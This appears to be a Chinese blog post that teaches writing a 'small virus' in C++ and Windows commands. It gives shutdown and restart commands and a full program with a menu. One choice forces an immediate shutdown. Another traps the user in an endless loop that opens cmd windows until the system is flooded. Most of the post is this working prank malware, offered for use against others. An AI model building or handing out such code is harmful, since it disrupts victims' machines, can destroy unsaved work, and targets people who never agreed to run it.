第三篇:利用命令行写一个小病毒(无限弹窗,关机,重启)

1.命令行

其实原理很简单

cmd知识点(伪代码)

1.无限弹窗

while (1) system("start cmd");

2.关机

shutdown -s -t 0 //立刻关机

shutdown -s -f //一分钟后强制关机

shutdown -a //取消关机进程

3.重启

shutdown -r -t 0 //立刻重启 shutdown -r -f //一分钟后强制重启

4.颜色

2.依据以上我设想的一些有趣的操作

cpp 复制代码
#include <bits/stdc++.h>//c++他不香吗?
#include <windows.h>
#include <conio.h>
using namespace std;
void settype() {
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
}
int main() {
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = true;
	SetConsoleCursorInfo(handle, &CursorInfo);
	cout<<"输入1毁灭程序,输入2查看作者的话,输入3安全退出程序";
	char y;
	cin >> y;
	system("cls");
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	switch (y) {
		case '1': {
			system("title 呵,你完了!!!");
			system("color 04");
			settype();
			cout << "\t\t            We can be both of God and the Devil.\n\n\t\t  Since we are trying to raise the dead against the stream of time.";
			Sleep(5000);
			system("cls");
			settype();
			cout << "\t\t\t        我们可以是天使,也可以是恶魔\n\n\t\t\t      因为我们要令时光倒流,让人起死回生。";
			Sleep(3000);
			system("shutdown -s -t 0");//shutdown right now!!!
			cout << endl << "\t\t            ";
		}
		case '2': {
			system("title 相见就是缘分,非常感谢您能关注这个系统!!!");
			system("color 07");
			settype();
			cout << "\t\t            相见就是缘分,非常感谢您能关注这个系统!!!";
			Sleep(1000);
			system("cls");
			settype();
			system("title 帅,劝你最好填1!!!");
			cout << "\t\t            嘻嘻,浅浅问一下:作者帅吗?(帅输入1)";
			char p;
			cin >> p;
			if (p == '1') {
				system("title 对嘛,这就对了!!");
				cout << "\t\t            你是有眼光的!送你一天VIP,邀请码:1107   " << endl;
				cout << "\t\t            ";
			} else {
				system("title 呵,you die");
				cout << "\t\t            相见就是缘分";
				Sleep(1000);
				cout << "\t\t          但这个缘分不要也罢!";
				Sleep(5000);
				int a = 0;
				while (1) {
					if (a & 1)
						system("mode con cols=100 lines=40");
					else
						system("mode con cols=1000 lines=400");
					system("start cmd");//无限弹窗
					a++;
				}
				cout << endl << "\t\t            ";
			}
			break;
		}
		default:
			break;
	}

}
相关推荐
芒克芒克6 分钟前
LeetCode 面试经典 150 题:删除有序数组中的重复项(双指针思想解法详解)
算法
青 .6 分钟前
数据结构---二叉搜索树的实现
c语言·网络·数据结构·算法·链表
MChine慕青1 小时前
顺序表与单链表:核心原理与实战应用
linux·c语言·开发语言·数据结构·c++·算法·链表
塔中妖1 小时前
【华为OD】查找接口成功率最优时间段
算法·链表·华为od
塔中妖1 小时前
【华为OD】最大子矩阵和
算法·华为od·矩阵
努力学习的小廉2 小时前
深入了解linux系统—— 线程同步
linux·服务器·数据库·算法
数据爬坡ing2 小时前
从挑西瓜到树回归:用生活智慧理解机器学习算法
数据结构·深度学习·算法·决策树·机器学习
luoganttcc2 小时前
小鹏汽车 vla 算法最新进展和模型结构细节
人工智能·算法·汽车
骄傲的心别枯萎3 小时前
RV1126 NO.16:通过多线程同时获取H264和H265码流
linux·c++·音视频·rv1126
落羽的落羽3 小时前
【C++】特别的程序错误处理方式——异常机制
开发语言·c++